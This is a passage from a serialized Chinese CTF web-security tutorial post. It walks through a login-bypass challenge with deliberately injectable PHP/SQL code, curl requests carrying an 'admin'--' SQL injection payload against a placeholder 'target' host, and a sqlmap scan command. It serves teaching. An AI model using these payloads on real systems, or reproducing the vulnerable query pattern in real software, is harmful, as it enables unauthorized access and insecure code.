3：导出数据。",[19,14176,14177],{"className":113,"code":6233,"language":115,"meta":24,"style":24},[26,14178,14179],{"__ignoreMap":24},[29,14180,14181,14183,14185,14187,14189,14191,14193,14195,14197,14199],{"class":31,"line":32},[29,14182,6178],{"class":122},[29,14184,944],{"class":815},[29,14186,252],{"class":251},[29,14188,5552],{"class":126},[29,14190,804],{"class":251},[29,14192,6250],{"class":815},[29,14194,6253],{"class":126},[29,14196,6256],{"class":815},[29,14198,6259],{"class":126},[29,14200,6262],{"class":815},[15,14202,261,14203,14205,14206,458],{},[26,14204,3377],{}," 表内容，即 ",[26,14207,5898],{},[10,14209,14211],{"id":14210},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,14213,14214,14215,14218],{},"题目：登录页 ",[26,14216,14217],{},"login.php","，源码：",[19,14220,14222],{"className":5318,"code":14221,"language":5320,"meta":24,"style":24},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[26,14223,14224,14229,14234],{"__ignoreMap":24},[29,14225,14226],{"class":31,"line":32},[29,14227,14228],{},"$user = $_POST['user'];\n",[29,14230,14231],{"class":31,"line":38},[29,14232,14233],{},"$pass = $_POST['pass'];\n",[29,14235,14236],{"class":31,"line":45},[29,14237,14238],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[235,14240,14242],{"id":14241},"第一步正常登录失败","第一步：正常登录失败",[15,14244,14245,14247],{},[216,14246,218],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[19,14249,14251],{"className":113,"code":14250,"language":115,"meta":24,"style":24},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[26,14252,14253],{"__ignoreMap":24},[29,14254,14255,14257,14259,14261,14263,14266,14268,14271,14273,14276],{"class":31,"line":32},[29,14256,248],{"class":122},[29,14258,14024],{"class":815},[29,14260,14027],{"class":126},[29,14262,252],{"class":251},[29,14264,14265],{"class":126},"http://target/login.php",[29,14267,804],{"class":251},[29,14269,14270],{"class":815}," --data",[29,14272,252],{"class":251},[29,14274,14275],{"class":126},"user=admin&pass=wrong",[29,14277,258],{"class":251},[15,14279,1410,14280,458],{},[26,14281,14282],{},"Login failed",[235,14284,14286],{"id":14285},"第二步构造绕过","第二步：构造绕过",[15,14288,14289,14291,14292,14295],{},[216,14290,224],{},"：观察源码 ",[26,14293,14294],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14297,14298,14300,14301,14303,14304,435,14307,14310,14311,3939,14313,9484],{},[216,14299,1745],{},"：发送 payload 后看是否从 ",[26,14302,14282],{}," 变成成功页面；若失败，尝试 ",[26,14305,14306],{},"admin'#",[26,14308,14309],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[26,14312,13381],{},[26,14314,14315],{},"#",[15,14317,1270],{},[19,14319,14321],{"className":113,"code":14320,"language":115,"meta":24,"style":24},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[26,14322,14323],{"__ignoreMap":24},[29,14324,14325,14327,14329,14331,14333,14335,14337,14339,14341,14344],{"class":31,"line":32},[29,14326,248],{"class":122},[29,14328,14024],{"class":815},[29,14330,14027],{"class":126},[29,14332,252],{"class":251},[29,14334,14265],{"class":126},[29,14336,804],{"class":251},[29,14338,14270],{"class":815},[29,14340,252],{"class":251},[29,14342,14343],{"class":126},"user=admin'--+&pass=wrong",[29,14345,258],{"class":251},[15,14347,14348],{},"实际执行的 SQL：",[19,14350,14352],{"className":5345,"code":14351,"language":5347,"meta":24,"style":24},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[26,14353,14354],{"__ignoreMap":24},[29,14355,14356],{"class":31,"line":32},[29,14357,14351],{},[15,14359,14360,14362,14363,14366],{},[26,14361,13381],{}," 注释掉密码部分。预期输出：",[26,14364,14365],{},"Login success"," 和 flag。",[15,14368,14369,14372,14373,14376,14377,14380],{},[216,14370,14371],{},"为什么能成功","：数据库中确实存在 ",[26,14374,14375],{},"admin"," 用户，查询 ",[26,14378,14379],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[235,14382,14384],{"id":14383},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14386,14387,14389],{},[216,14388,218],{},"：用工具确认手工结论，同时自动探测其他注入点。",[19,14391,14393],{"className":113,"code":14392,"language":115,"meta":24,"style":24},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[26,14394,14395,14418,14423,14428],{"__ignoreMap":24},[29,14396,14397,14399,14401,14403,14405,14407,14409,14411,14414,14416],{"class":31,"line":32},[29,14398,6178],{"class":122},[29,14400,944],{"class":815},[29,14402,252],{"class":251},[29,14404,14265],{"class":126},[29,14406,804],{"class":251},[29,14408,14270],{"class":815},[29,14410,252],{"class":251},[29,14412,14413],{"class":126},"user=a&pass=b",[29,14415,804],{"class":251},[29,14417,6189],{"class":815},[29,14419,14420],{"class":31,"line":38},[29,14421,14422],{"class":807},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[29,14424,14425],{"class":31,"line":45},[29,14426,14427],{"class":807},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[29,14429,14430],{"class":31,"line":51},[29,14431,14432],{"class":807},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14434,14435,14436,14439],{},"预期输出：报告 ",[26,14437,14438],{},"Parameter: user (POST)"," 存在注入。",[10,14441,3296],{"id":3295},[15,14443,14444],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1116,14446,14447],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":14449},[14450,14451,14452,14453,14454,14455,14456,14457,14458,14459],{"id":12617,"depth":45,"text":12618},{"id":12725,"depth":45,"text":12726},{"id":12823,"depth":45,"text":12824},{"id":13418,"depth":45,"text":13419},{"id":13711,"depth":45,"text":13712},{"id":13935,"depth":45,"text":13936},{"id":14049,"depth":45,"text":14050},{"id":14113,"depth":45,"text":14114},{"id":14210,"depth":45,"text":14211},{"id":3295,"depth":45,"text":3296},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1132,"image":14462,"alt":14463,"tags":14464,"published":41},"/blogs-img/blog9.png","CTF Web 入门",[1136,1137,1139],"/blogs/ctf-web-overview",{"title":12612,"description":14460},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567593]